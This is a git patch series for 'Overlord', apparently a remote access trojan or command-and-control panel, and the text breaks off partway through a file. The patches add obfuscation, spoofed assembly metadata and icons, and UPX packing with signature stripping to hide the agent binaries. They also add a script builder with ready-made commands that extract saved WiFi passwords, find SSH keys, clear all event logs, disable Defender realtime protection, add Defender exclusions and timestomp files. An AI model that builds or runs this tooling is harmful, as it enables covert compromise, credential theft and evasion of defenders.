From c8c45fe56551516071ec4e41ac6e5c2a4db5cce6 Mon Sep 17 00:00:00 2001 From: unknown Date: Mon, 16 Mar 2026 13:42:13 +0100 Subject: [PATCH 1/7] Filter build list by user: non-admins only see their own builds --- Overlord-Server/src/build/types.ts | 1 + Overlord-Server/src/db.ts | 16 +++++++++++++++- Overlord-Server/src/server/build-process.ts | 1 + .../src/server/routes/build-routes.ts | 2 +- 4 files changed, 18 insertions(+), 2 deletions(-) diff --git a/Overlord-Server/src/build/types.ts b/Overlord-Server/src/build/types.ts index d12eaa7..93439b7 100644 --- a/Overlord-Server/src/build/types.ts +++ b/Overlord-Server/src/build/types.ts @@ -6,6 +6,7 @@ export type BuildStream = { expiresAt: number; files: { name: string; size: number; platform?: string }[]; updates?: any[]; + userId?: number; }; export type BuildConfig = { diff --git a/Overlord-Server/src/db.ts b/Overlord-Server/src/db.ts index e7e072a..9364f3b 100644 --- a/Overlord-Server/src/db.ts +++ b/Overlord-Server/src/db.ts @@ -651,7 +651,21 @@ export function getBuildByTag(buildTag: string): BuildRecord | null { }; } -export function getAllBuilds(): BuildRecord[] { +export function getAllBuilds(userId?: number, role?: string): BuildRecord[] { + if (role !== "admin" && userId != null) { + const rows = db + .query(`SELECT * FROM builds WHERE built_by_user_id = ? ORDER BY start_time DESC`) + .all(userId); + return rows.map((row) => ({ + id: row.id, + status: row.status, + startTime: row.start_time, + expiresAt: row.expires_at, + files: JSON.parse(row.files), + buildTag: row.build_tag || undefined, + builtByUserId: row.built_by_user_id || undefined, + })); + } const rows = db .query(`SELECT * FROM builds ORDER BY start_time DESC`) .all(); diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts index dcfcc91..fcc3feb 100644 --- a/Overlord-Server/src/server/build-process.ts +++ b/Overlord-Server/src/server/build-process.ts @@ -102,6 +102,7 @@ export async function startBuildProcess( startTime: now, expiresAt: now + SEVEN_DAYS_MS, files: [], + userId: config.builtByUserId, }; buildManager.addBuildStream(buildId, build); diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts index e68fedf..87a388f 100644 --- a/Overlord-Server/src/server/routes/build-routes.ts +++ b/Overlord-Server/src/server/routes/build-routes.ts @@ -141,7 +141,7 @@ export async function handleBuildRoutes( if (req.method === "GET" && url.pathname === "/api/build/list") { requirePermission(user, "clients:build"); - const builds = getAllBuilds(); + const builds = getAllBuilds(user.userId, user.role); return Response.json({ builds }); } From 7f82737fbc3810589e7ae483195e39c9e1b5fa8d Mon Sep 17 00:00:00 2001 From: unknown Date: Mon, 16 Mar 2026 14:09:06 +0100 Subject: [PATCH 2/7] Add custom output name, assembly data, icon, and garble settings to builder --- Overlord-Server/public/assets/build.js | 66 +++++++ Overlord-Server/public/build.html | 82 +++++++++ Overlord-Server/src/build/types.ts | 10 + Overlord-Server/src/certGenerator.ts | 8 +- Overlord-Server/src/server/build-process.ts | 172 ++++++++++++++++-- .../src/server/routes/build-routes.ts | 35 ++++ 6 files changed, 351 insertions(+), 22 deletions(-) diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index 88868dc..b35972a 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -91,6 +91,52 @@ if (persistenceCheckbox && persistenceMethodContainer) { }); } +const obfuscateCheckbox = document.querySelector('input[name="obfuscate"]'); +const garbleSettingsContainer = document.getElementById("garble-settings-container"); +if (obfuscateCheckbox && garbleSettingsContainer) { + obfuscateCheckbox.addEventListener("change", () => { + if (obfuscateCheckbox.checked) { + garbleSettingsContainer.classList.remove("hidden"); + } else { + garbleSettingsContainer.classList.add("hidden"); + } + }); +} + +let pendingIconBase64 = null; +const iconUpload = document.getElementById("icon-upload"); +const iconLabel = document.getElementById("icon-label"); +const iconClear = document.getElementById("icon-clear"); + +if (iconUpload) { + iconUpload.addEventListener("change", () => { + const file = iconUpload.files[0]; + if (!file) return; + if (file.size > 1024 * 1024) { + alert("Icon file must be under 1MB"); + iconUpload.value = ""; + return; + } + const reader = new FileReader(); + reader.onload = () => { + const base64 = reader.result.split(",")[1]; + pendingIconBase64 = base64; + if (iconLabel) iconLabel.textContent = file.name; + if (iconClear) iconClear.classList.remove("hidden"); + }; + reader.readAsDataURL(file); + }); +} + +if (iconClear) { + iconClear.addEventListener("click", () => { + pendingIconBase64 = null; + if (iconUpload) iconUpload.value = ""; + if (iconLabel) iconLabel.textContent = "Choose .ico file"; + iconClear.classList.add("hidden"); + }); +} + async function init() { try { updateServerUrlPlaceholder(); @@ -215,6 +261,16 @@ form?.addEventListener("submit", async (e) => { 'input[name="no-printing"]', ).checked; + const outputNameVal = form.querySelector("#output-name")?.value.trim() || ""; + const garbleLiterals = form.querySelector('input[name="garble-literals"]')?.checked || false; + const garbleTiny = form.querySelector('input[name="garble-tiny"]')?.checked || false; + const garbleSeedVal = form.querySelector("#garble-seed")?.value.trim() || ""; + const assemblyTitle = form.querySelector("#assembly-title")?.value.trim() || ""; + const assemblyProduct = form.querySelector("#assembly-product")?.value.trim() || ""; + const assemblyCompany = form.querySelector("#assembly-company")?.value.trim() || ""; + const assemblyVersion = form.querySelector("#assembly-version")?.value.trim() || ""; + const assemblyCopyright = form.querySelector("#assembly-copyright")?.value.trim() || ""; + const buildConfig = { platforms, serverUrl: serverUrl || undefined, @@ -228,6 +284,16 @@ form?.addEventListener("submit", async (e) => { persistenceMethod: enablePersistence ? persistenceMethod : undefined, hideConsole, noPrinting, + outputName: outputNameVal || undefined, + garbleLiterals: obfuscate ? garbleLiterals : undefined, + garbleTiny: obfuscate ? garbleTiny : undefined, + garbleSeed: obfuscate && garbleSeedVal ? garbleSeedVal : undefined, + assemblyTitle: assemblyTitle || undefined, + assemblyProduct: assemblyProduct || undefined, + assemblyCompany: assemblyCompany || undefined, + assemblyVersion: assemblyVersion || undefined, + assemblyCopyright: assemblyCopyright || undefined, + iconBase64: pendingIconBase64 || undefined, }; const hasAndroid = platforms.some(p => p.startsWith('android-')); diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index fa69c49..bc390c6 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -231,6 +231,23 @@

+ +
+ + +

+ Optional: Custom name prefix for output binaries (letters, numbers, . _ - only) +

+
+
+ + + + +
+ +
+ + + + + +
+
+ + +
+ +
+ + +
+
+ +
diff --git a/Overlord-Server/src/build/types.ts b/Overlord-Server/src/build/types.ts index 1169b75..591c1eb 100644 --- a/Overlord-Server/src/build/types.ts +++ b/Overlord-Server/src/build/types.ts @@ -32,4 +32,6 @@ export type BuildConfig = { assemblyVersion?: string; assemblyCopyright?: string; iconBase64?: string; + enableUpx?: boolean; + upxStripHeaders?: boolean; }; diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts index 0d5edde..c36a704 100644 --- a/Overlord-Server/src/server/build-process.ts +++ b/Overlord-Server/src/server/build-process.ts @@ -76,8 +76,134 @@ type BuildProcessConfig = { assemblyVersion?: string; assemblyCopyright?: string; iconBase64?: string; + enableUpx?: boolean; + upxStripHeaders?: boolean; }; +async function ensureUpxAvailable(sendToStream: (data: any) => void): Promise { + try { + const check = await $`upx --version`.quiet().nothrow(); + if (check.exitCode === 0) { + const ver = check.stdout.toString().split("\n")[0]?.trim() || "upx"; + sendToStream({ type: "output", text: `UPX found: ${ver}\n`, level: "info" }); + return "upx"; + } + } catch {} + + sendToStream({ type: "output", text: "UPX not found, attempting auto-install...\n", level: "info" }); + + const isWindows = process.platform === "win32"; + + if (!isWindows) { + try { + const apt = await $`apt-get install -y upx-ucl 2>&1`.nothrow().quiet(); + if (apt.exitCode === 0) { + sendToStream({ type: "output", text: "UPX installed via apt-get\n", level: "info" }); + return "upx"; + } + } catch {} + try { + const apt2 = await $`apt-get install -y upx 2>&1`.nothrow().quiet(); + if (apt2.exitCode === 0) { + sendToStream({ type: "output", text: "UPX installed via apt-get\n", level: "info" }); + return "upx"; + } + } catch {} + try { + const yum = await $`yum install -y upx 2>&1`.nothrow().quiet(); + if (yum.exitCode === 0) { + sendToStream({ type: "output", text: "UPX installed via yum\n", level: "info" }); + return "upx"; + } + } catch {} + } + + if (isWindows) { + try { + const winget = await $`winget install --id upx.upx -e --accept-source-agreements --accept-package-agreements 2>&1`.nothrow().quiet(); + if (winget.exitCode === 0) { + sendToStream({ type: "output", text: "UPX installed via winget\n", level: "info" }); + return "upx"; + } + } catch {} + try { + const choco = await $`choco install upx -y 2>&1`.nothrow().quiet(); + if (choco.exitCode === 0) { + sendToStream({ type: "output", text: "UPX installed via chocolatey\n", level: "info" }); + return "upx"; + } + } catch {} + } + + const arch = process.arch === "x64" ? "amd64" : process.arch === "arm64" ? "arm64" : "amd64"; + const plat = isWindows ? "win64" : "amd64_linux"; + const upxVersion = "4.2.4"; + const archiveName = `upx-${upxVersion}-${plat}`; + const ext = isWindows ? "zip" : "tar.xz"; + const url = `https://github.com/upx/upx/releases/download/v${upxVersion}/${archiveName}.${ext}`; + const tmpDir = path.join(ensureDataDir(), "upx-install"); + fs.mkdirSync(tmpDir, { recursive: true }); + const archivePath = path.join(tmpDir, `upx.${ext}`); + + try { + sendToStream({ type: "output", text: `Downloading UPX from ${url}...\n`, level: "info" }); + const dlResult = await $`curl -fsSL -o ${archivePath} ${url}`.nothrow().quiet(); + if (dlResult.exitCode !== 0) { + sendToStream({ type: "output", text: "WARNING: Failed to download UPX. Skipping compression.\n", level: "warn" }); + return null; + } + + if (isWindows) { + await $`tar -xf ${archivePath} -C ${tmpDir}`.nothrow().quiet(); + } else { + await $`tar -xJf ${archivePath} -C ${tmpDir}`.nothrow().quiet(); + } + + const upxBinName = isWindows ? "upx.exe" : "upx"; + const extractedDir = path.join(tmpDir, archiveName); + const upxBin = path.join(extractedDir, upxBinName); + + if (fs.existsSync(upxBin)) { + if (!isWindows) { + await $`chmod +x ${upxBin}`.nothrow().quiet(); + } + sendToStream({ type: "output", text: `UPX downloaded to ${upxBin}\n`, level: "info" }); + return upxBin; + } + + sendToStream({ type: "output", text: "WARNING: UPX binary not found after extraction. Skipping compression.\n", level: "warn" }); + return null; + } catch (err: any) { + sendToStream({ type: "output", text: `WARNING: UPX auto-install failed: ${err.message || err}. Skipping compression.\n`, level: "warn" }); + return null; + } +} + +function stripUpxHeaders(filePath: string): boolean { + try { + const buf = Buffer.from(fs.readFileSync(filePath)); + const UPX_MAGIC = Buffer.from("UPX!"); + let modified = false; + let offset = 0; + while (offset < buf.length - 3) { + const idx = buf.indexOf(UPX_MAGIC, offset); + if (idx === -1) break; + buf[idx] = 0x00; + buf[idx + 1] = 0x00; + buf[idx + 2] = 0x00; + buf[idx + 3] = 0x00; + modified = true; + offset = idx + 4; + } + if (modified) { + fs.writeFileSync(filePath, buf); + } + return modified; + } catch { + return false; + } +} + const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']); type BuildProcessDeps = { @@ -244,6 +370,14 @@ export async function startBuildProcess( sendToStream({ type: "output", text: `Custom output name: ${config.outputName}\n`, level: "info" }); } + let upxBin: string | null = null; + if (config.enableUpx) { + upxBin = await ensureUpxAvailable(sendToStream); + if (!upxBin) { + sendToStream({ type: "output", text: "WARNING: UPX could not be installed. Compression will be skipped.\n", level: "warn" }); + } + } + const hasAssemblyData = !!(config.assemblyTitle || config.assemblyProduct || config.assemblyCompany || config.assemblyVersion || config.assemblyCopyright || config.iconBase64); const hasWindowsTargets = platformsToBuild.some((p) => p.startsWith("windows-")); @@ -530,15 +664,42 @@ export async function startBuildProcess( } const filePath = `${outDir}/${outputName}`; - const file = Bun.file(filePath); - const size = file.size; + let finalSize = Bun.file(filePath).size; + + if (upxBin) { + sendToStream({ type: "output", text: `Compressing ${outputName} with UPX...\n`, level: "info" }); + const originalSize = finalSize; + try { + const upxResult = await $`${upxBin} --best ${filePath}`.nothrow().quiet(); + if (upxResult.exitCode !== 0) { + const stderr = upxResult.stderr.toString().trim(); + sendToStream({ type: "output", text: `WARNING: UPX compression failed (exit ${upxResult.exitCode}): ${stderr}\n`, level: "warn" }); + } else { + finalSize = Bun.file(filePath).size; + const ratio = ((1 - finalSize / originalSize) * 100).toFixed(1); + sendToStream({ type: "output", text: `UPX compressed: ${originalSize} → ${finalSize} bytes (${ratio}% reduction)\n`, level: "info" }); + + if (config.upxStripHeaders) { + const stripped = stripUpxHeaders(filePath); + if (stripped) { + finalSize = Bun.file(filePath).size; + sendToStream({ type: "output", text: `UPX headers stripped (signature removed)\n`, level: "info" }); + } else { + sendToStream({ type: "output", text: `WARNING: No UPX signatures found to strip\n`, level: "warn" }); + } + } + } + } catch (upxErr: any) { + sendToStream({ type: "output", text: `WARNING: UPX failed: ${upxErr.message || upxErr}\n`, level: "warn" }); + } + } (build.files as any[]).push({ name: outputName, filename: outputName, platform, version: agentVersion, - size, + size: finalSize, }); } catch (err: any) { const errorMsg = `[ERROR] Failed to build ${platform}: ${err.message || err}\n`; diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts index 714e630..0986d77 100644 --- a/Overlord-Server/src/server/routes/build-routes.ts +++ b/Overlord-Server/src/server/routes/build-routes.ts @@ -62,6 +62,8 @@ export async function handleBuildRoutes( assemblyVersion, assemblyCopyright, iconBase64, + enableUpx, + upxStripHeaders, } = body; if (!platforms || !Array.isArray(platforms) || platforms.length === 0) { @@ -168,6 +170,8 @@ export async function handleBuildRoutes( assemblyVersion: safeAssemblyVersion, assemblyCopyright: safeStr(assemblyCopyright), iconBase64: safeIconBase64, + enableUpx: !!enableUpx, + upxStripHeaders: !!upxStripHeaders, }); return Response.json({ buildId }); From 05818870bd6862624a39ff95c58db369e34bf050 Mon Sep 17 00:00:00 2001 From: unknown Date: Mon, 16 Mar 2026 14:43:57 +0100 Subject: [PATCH 4/7] feat: pre-install UPX in Docker image --- Dockerfile | 1 + 1 file changed, 1 insertion(+) diff --git a/Dockerfile b/Dockerfile index ac3e73c..556ee5e 100644 --- a/Dockerfile +++ b/Dockerfile @@ -15,6 +15,7 @@ RUN apt-get update \ wget \ git \ unzip \ + upx-ucl \ && rm -rf /var/lib/apt/lists/* # Install Go (latest stable version) From 9884a6c3e84166efed3d8bdccc3759415b05313b Mon Sep 17 00:00:00 2001 From: unknown Date: Mon, 16 Mar 2026 15:14:47 +0100 Subject: [PATCH 5/7] remove mass command from dashboard --- Overlord-Server/public/assets/main.js | 40 --------------------------- Overlord-Server/public/index.html | 22 --------------- 2 files changed, 62 deletions(-) diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index d7dabe2..aec08f1 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -586,46 +586,6 @@ bulkUninstallBtn?.addEventListener("click", async () => { setTimeout(() => loadWithOptions({ force: true }), 1000); }); -const massCmdInput = document.getElementById("mass-cmd-input"); -const massCmdType = document.getElementById("mass-cmd-type"); -const massCmdRun = document.getElementById("mass-cmd-run"); - -massCmdRun?.addEventListener("click", async () => { - const cmd = massCmdInput?.value.trim(); - if (!cmd) { - alert("Enter a command to execute."); - return; - } - const scriptType = massCmdType?.value || "powershell"; - const count = selectedClients.size; - if (count === 0) return; - if (!confirm(`Execute on ${count} client(s)?\n\n[${scriptType}] ${cmd}`)) return; - - massCmdRun.disabled = true; - massCmdRun.innerHTML = ' Running...'; - let success = 0; - for (const clientId of selectedClients) { - try { - const res = await fetch(`/api/clients/${clientId}/command`, { - method: "POST", - headers: { "Content-Type": "application/json" }, - body: JSON.stringify({ action: "script_exec", script: cmd, scriptType }), - }); - if (res.ok) success++; - } catch {} - } - massCmdRun.disabled = false; - massCmdRun.innerHTML = ' Execute'; - alert(`Command sent to ${success}/${count} clients`); -}); - -massCmdInput?.addEventListener("keydown", (e) => { - if (e.key === "Enter") { - e.preventDefault(); - massCmdRun?.click(); - } -}); - window.toggleClientSelection = toggleClientSelection; window.isClientSelected = (clientId) => selectedClients.has(clientId); window.syncClientSelection = syncSelectionState; diff --git a/Overlord-Server/public/index.html b/Overlord-Server/public/index.html index 8bbe31b..3807e62 100644 --- a/Overlord-Server/public/index.html +++ b/Overlord-Server/public/index.html @@ -146,28 +146,6 @@ Clear
-
- - - -
From 157a2c7a4a71d676b8ac20a9205215247ba4c11e Mon Sep 17 00:00:00 2001 From: unknown Date: Mon, 16 Mar 2026 15:52:31 +0100 Subject: [PATCH 6/7] feat: visual drag-and-drop script builder --- Overlord-Server/public/assets/scripts.js | 35 ++ .../public/assets/visual-builder.js | 516 ++++++++++++++++++ Overlord-Server/public/scripts.html | 21 +- 3 files changed, 571 insertions(+), 1 deletion(-) create mode 100644 Overlord-Server/public/assets/visual-builder.js diff --git a/Overlord-Server/public/assets/scripts.js b/Overlord-Server/public/assets/scripts.js index 0df9ddd..744161b 100644 --- a/Overlord-Server/public/assets/scripts.js +++ b/Overlord-Server/public/assets/scripts.js @@ -622,4 +622,39 @@ if (window.CodeMirror && scriptEditor) { lineWrapping: true, }); editorInstance.setSize(null, "100%"); + window._vbCodeMirror = editorInstance; } + +const modeToggleCode = document.getElementById("mode-toggle-code"); +const modeToggleVisual = document.getElementById("mode-toggle-visual"); +const codeEditorSection = document.getElementById("code-editor-section"); +const visualBuilderSection = document.getElementById("visual-builder-section"); +const rightColumn = codeEditorSection?.parentElement?.querySelector(".lg\\:col-span-1"); +let visualBuilderInited = false; + +function setMode(mode) { + if (mode === "visual") { + codeEditorSection?.classList.add("hidden"); + if (rightColumn) rightColumn.classList.add("hidden"); + visualBuilderSection?.classList.remove("hidden"); + modeToggleVisual.className = "flex-1 flex items-center justify-center gap-2 px-4 py-2 rounded-lg font-semibold text-sm transition-colors bg-emerald-600 text-white"; + modeToggleCode.className = "flex-1 flex items-center justify-center gap-2 px-4 py-2 rounded-lg font-semibold text-sm transition-colors bg-slate-800 text-slate-300 hover:bg-slate-700"; + if (!visualBuilderInited) { + import("/assets/visual-builder.js").then((mod) => { + const container = document.getElementById("visual-builder-container"); + if (container) mod.initVisualBuilder(container); + visualBuilderInited = true; + }); + } + } else { + codeEditorSection?.classList.remove("hidden"); + if (rightColumn) rightColumn.classList.remove("hidden"); + visualBuilderSection?.classList.add("hidden"); + modeToggleCode.className = "flex-1 flex items-center justify-center gap-2 px-4 py-2 rounded-lg font-semibold text-sm transition-colors bg-emerald-600 text-white"; + modeToggleVisual.className = "flex-1 flex items-center justify-center gap-2 px-4 py-2 rounded-lg font-semibold text-sm transition-colors bg-slate-800 text-slate-300 hover:bg-slate-700"; + if (editorInstance) editorInstance.refresh(); + } +} + +modeToggleCode?.addEventListener("click", () => setMode("code")); +modeToggleVisual?.addEventListener("click", () => setMode("visual")); diff --git a/Overlord-Server/public/assets/visual-builder.js b/Overlord-Server/public/assets/visual-builder.js new file mode 100644 index 0000000..723dc83 --- /dev/null +++ b/Overlord-Server/public/assets/visual-builder.js @@ -0,0 +1,516 @@ +const BLOCK_CATEGORIES = { + recon: { + label: "Recon", + icon: "fa-solid fa-magnifying-glass", + color: "emerald", + blocks: [ + { id: "whoami", label: "Whoami", desc: "Current user identity", ps: "whoami /all", bash: "id; whoami" }, + { id: "sysinfo", label: "System Info", desc: "OS and hardware details", ps: "Get-ComputerInfo | Select-Object CsName, WindowsVersion, OsArchitecture", bash: "uname -a; cat /etc/os-release 2>/dev/null" }, + { id: "ipconfig", label: "Network Info", desc: "IP addresses and interfaces", ps: "Get-NetIPAddress | Where-Object {$_.AddressFamily -eq 'IPv4'} | Select-Object IPAddress, InterfaceAlias", bash: "ip addr 2>/dev/null || ifconfig" }, + { id: "processes", label: "Top Processes", desc: "CPU-heavy processes", ps: "Get-Process | Sort-Object CPU -Descending | Select-Object -First 15 Name, CPU, WorkingSet", bash: "ps aux --sort=-%cpu | head -20" }, + { id: "netstat", label: "Active Connections", desc: "Open network connections", ps: "Get-NetTCPConnection | Where-Object {$_.State -eq 'Established'} | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort", bash: "netstat -tunap 2>/dev/null || ss -tunap" }, + { id: "localusers", label: "Local Users", desc: "Enumerate local accounts", ps: "Get-LocalUser | Select-Object Name, Enabled, LastLogon | Format-Table -AutoSize", bash: "cat /etc/passwd | grep -v nologin | grep -v false" }, + { id: "env", label: "Environment Vars", desc: "List environment variables", ps: "Get-ChildItem Env: | Sort-Object Name | Format-Table -AutoSize", bash: "env | sort" }, + { id: "diskusage", label: "Disk Usage", desc: "Storage information", ps: "Get-PSDrive -PSProvider FileSystem | Select-Object Name, Used, Free, Root", bash: "df -h" }, + ], + }, + files: { + label: "Files", + icon: "fa-solid fa-folder-open", + color: "blue", + blocks: [ + { id: "ls", label: "List Directory", desc: "List files in path", ps: "Get-ChildItem -Path \"{path}\" -Force | Select-Object Mode, LastWriteTime, Length, Name", bash: "ls -la \"{path}\"", fields: [{ key: "path", label: "Path", placeholder: "C:\\ or /tmp", default: "." }] }, + { id: "cat", label: "Read File", desc: "Display file contents", ps: "Get-Content -Path \"{path}\"", bash: "cat \"{path}\"", fields: [{ key: "path", label: "File Path", placeholder: "C:\\file.txt" }] }, + { id: "find", label: "Find Files", desc: "Search for files by pattern", ps: "Get-ChildItem -Path \"{path}\" -Recurse -Filter \"{pattern}\" -ErrorAction SilentlyContinue | Select-Object FullName, Length", bash: "find \"{path}\" -name \"{pattern}\" 2>/dev/null", fields: [{ key: "path", label: "Search Path", placeholder: "/", default: "." }, { key: "pattern", label: "Pattern", placeholder: "*.txt", default: "*" }] }, + { id: "mkdir", label: "Create Directory", desc: "Create a new directory", ps: "New-Item -ItemType Directory -Path \"{path}\" -Force", bash: "mkdir -p \"{path}\"", fields: [{ key: "path", label: "Directory Path", placeholder: "C:\\new_folder" }] }, + { id: "rmfile", label: "Delete File", desc: "Remove a file", ps: "Remove-Item -Path \"{path}\" -Force", bash: "rm -f \"{path}\"", fields: [{ key: "path", label: "File Path", placeholder: "C:\\temp\\file.txt" }] }, + ], + }, + security: { + label: "Security", + icon: "fa-solid fa-shield-halved", + color: "amber", + blocks: [ + { id: "avcheck", label: "AV Status", desc: "Check antivirus products", ps: "$av = Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction SilentlyContinue; if ($av) { $av | Select-Object displayName, pathToSignedProductExe } else { 'No AV data' }", bash: "echo 'AV check not applicable on Linux'" }, + { id: "defender", label: "Defender Status", desc: "Windows Defender health", ps: "Get-MpComputerStatus | Select-Object AMServiceEnabled, AntivirusEnabled, RealTimeProtectionEnabled", bash: "echo 'Defender not available on Linux'" }, + { id: "defenderexcl", label: "Defender Exclusions", desc: "Show exclusion paths", ps: "$p = Get-MpPreference; 'Exclusion Paths:'; $p.ExclusionPath; 'Exclusion Processes:'; $p.ExclusionProcess", bash: "echo 'Defender not available on Linux'" }, + { id: "firewall", label: "Firewall Rules", desc: "List firewall configuration", ps: "Get-NetFirewallRule | Where-Object {$_.Enabled -eq 'True'} | Select-Object -First 20 DisplayName, Direction, Action", bash: "iptables -L -n 2>/dev/null || ufw status 2>/dev/null || echo 'No firewall info'" }, + { id: "langmode", label: "PS Language Mode", desc: "Check CLM status", ps: "Write-Host 'Language Mode:' $ExecutionContext.SessionState.LanguageMode", bash: "echo 'PowerShell not available'" }, + ], + }, + privesc: { + label: "Priv Esc", + icon: "fa-solid fa-arrow-up-right-dots", + color: "red", + blocks: [ + { id: "privileges", label: "Token Privileges", desc: "Current token privileges", ps: "whoami /priv", bash: "id; groups" }, + { id: "suid", label: "SUID Binaries", desc: "Find SUID files (Linux)", ps: "echo 'Not applicable on Windows'", bash: "find / -perm -4000 -type f 2>/dev/null | sort" }, + { id: "sudo", label: "Sudo Rules", desc: "Check sudo permissions", ps: "echo 'Not applicable on Windows'", bash: "sudo -l 2>/dev/null || echo 'No sudo access'" }, + { id: "unquoted", label: "Unquoted Service Paths", desc: "Potential hijack targets", ps: "Get-WmiObject Win32_Service | Where-Object {$_.PathName -like '* *' -and -not $_.PathName.StartsWith([char]34)} | Select-Object Name, PathName, State", bash: "echo 'Not applicable on Linux'" }, + { id: "schtasks", label: "Scheduled Tasks", desc: "Non-Microsoft tasks", ps: "Get-ScheduledTask | Where-Object {$_.TaskPath -notlike '\\Microsoft*'} | Select-Object TaskName, TaskPath, State | Format-Table -AutoSize", bash: "crontab -l 2>/dev/null; echo '---'; ls /etc/cron.d/ 2>/dev/null" }, + { id: "capabilities", label: "Linux Capabilities", desc: "Binaries with caps", ps: "echo 'Not applicable on Windows'", bash: "getcap -r / 2>/dev/null || echo 'getcap not available'" }, + ], + }, + persist: { + label: "Persistence", + icon: "fa-solid fa-link", + color: "purple", + blocks: [ + { id: "regrun", label: "Registry Run Keys", desc: "Check autorun entries", ps: "Get-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -ErrorAction SilentlyContinue; Get-ItemProperty -Path 'HKLM:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -ErrorAction SilentlyContinue", bash: "echo 'Not applicable on Linux'" }, + { id: "startup", label: "Startup Folder", desc: "List startup items", ps: "Get-ChildItem \"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\" -Force -ErrorAction SilentlyContinue", bash: "ls ~/.config/autostart/ 2>/dev/null" }, + { id: "services", label: "Running Services", desc: "Active services", ps: "Get-Service | Where-Object {$_.Status -eq 'Running'} | Sort-Object DisplayName | Select-Object -First 30 Name, DisplayName", bash: "systemctl list-units --type=service --state=running 2>/dev/null | head -30" }, + { id: "cronjobs", label: "Cron Jobs", desc: "Scheduled cron entries", ps: "echo 'Not applicable on Windows'", bash: "echo '=== User Crontab ==='; crontab -l 2>/dev/null; echo '=== /etc/crontab ==='; cat /etc/crontab 2>/dev/null" }, + ], + }, + credentials: { + label: "Credentials", + icon: "fa-solid fa-key", + color: "orange", + blocks: [ + { id: "credman", label: "Credential Manager", desc: "Stored credentials", ps: "cmdkey /list", bash: "echo 'Not applicable on Linux'" }, + { id: "sshkeys", label: "SSH Keys Hunt", desc: "Find SSH private keys", ps: "Get-ChildItem -Path $env:USERPROFILE\\.ssh -Force -ErrorAction SilentlyContinue", bash: "find /home /root -maxdepth 4 \\( -name 'id_rsa' -o -name 'id_ed25519' -o -name 'authorized_keys' \\) 2>/dev/null" }, + { id: "pshistory", label: "PS History", desc: "PowerShell command history", ps: "Get-Content (Get-PSReadLineOption).HistorySavePath -ErrorAction SilentlyContinue | Select-Object -Last 50", bash: "cat ~/.bash_history 2>/dev/null | tail -50" }, + { id: "wifi", label: "WiFi Passwords", desc: "Saved WiFi credentials", ps: "netsh wlan show profiles | ForEach-Object { if ($_ -match 'All User Profile\\s*:\\s*(.+)$') { $name = $matches[1].Trim(); $detail = netsh wlan show profile name=$name key=clear; $key = ($detail | Select-String 'Key Content').ToString().Split(':')[1].Trim(); \"$name : $key\" } }", bash: "echo 'Use nmcli on Linux'" }, + ], + }, + evasion: { + label: "Evasion", + icon: "fa-solid fa-mask", + color: "rose", + blocks: [ + { id: "clearevt", label: "Clear Event Logs", desc: "Wipe Windows event logs", ps: "Get-EventLog -LogName * | ForEach-Object { Clear-EventLog -LogName $_.Log -ErrorAction SilentlyContinue }; Write-Host 'Event logs cleared'", bash: "echo 'Use journalctl --vacuum-time=0 on Linux'" }, + { id: "disabledef", label: "Disable Defender RT", desc: "Turn off realtime protection", ps: "Set-MpPreference -DisableRealtimeMonitoring $true; Write-Host 'Realtime monitoring disabled'", bash: "echo 'Not applicable on Linux'" }, + { id: "addexclusion", label: "Add Defender Exclusion", desc: "Add path exclusion", ps: "Add-MpPreference -ExclusionPath \"{path}\"; Write-Host 'Exclusion added:' \"{path}\"", bash: "echo 'Not applicable on Linux'", fields: [{ key: "path", label: "Exclusion Path", placeholder: "C:\\Tools" }] }, + { id: "timestomp", label: "Timestomp File", desc: "Modify file timestamps", ps: "(Get-Item \"{path}\").LastWriteTime = \"{date}\"; (Get-Item \"{path}\").CreationTime = \"{date}\"", bash: "touch -t \"{date}\" \"{path}\"", fields: [{ key: "path", label: "File Path", placeholder: "C:\\file.exe" }, { key: "date", label: "Date", placeholder: "01/01/2023 12:00:00", default: "01/01/2023 00:00:00" }] }, + ], + }, + custom: { + label: "Custom", + icon: "fa-solid fa-code", + color: "slate", + blocks: [ + { id: "customcmd", label: "Custom Command", desc: "Run any command", ps: "{cmd}", bash: "{cmd}", fields: [{ key: "cmd", label: "Command", placeholder: "Enter your command...", textarea: true }] }, + { id: "sleep", label: "Sleep / Delay", desc: "Wait between commands", ps: "Start-Sleep -Seconds {seconds}", bash: "sleep {seconds}", fields: [{ key: "seconds", label: "Seconds", placeholder: "5", default: "5" }] }, + { id: "echo", label: "Echo / Print", desc: "Print a message", ps: "Write-Host \"{message}\"", bash: "echo \"{message}\"", fields: [{ key: "message", label: "Message", placeholder: "Hello from Overlord" }] }, + ], + }, +}; + +const COLOR_MAP = { + emerald: { bg: "bg-emerald-900/40", border: "border-emerald-700/60", text: "text-emerald-300", hover: "hover:bg-emerald-800/40", dragBg: "bg-emerald-900/60" }, + blue: { bg: "bg-blue-900/40", border: "border-blue-700/60", text: "text-blue-300", hover: "hover:bg-blue-800/40", dragBg: "bg-blue-900/60" }, + amber: { bg: "bg-amber-900/40", border: "border-amber-700/60", text: "text-amber-300", hover: "hover:bg-amber-800/40", dragBg: "bg-amber-900/60" }, + red: { bg: "bg-red-900/40", border: "border-red-700/60", text: "text-red-300", hover: "hover:bg-red-800/40", dragBg: "bg-red-900/60" }, + purple: { bg: "bg-purple-900/40", border: "border-purple-700/60", text: "text-purple-300", hover: "hover:bg-purple-800/40", dragBg: 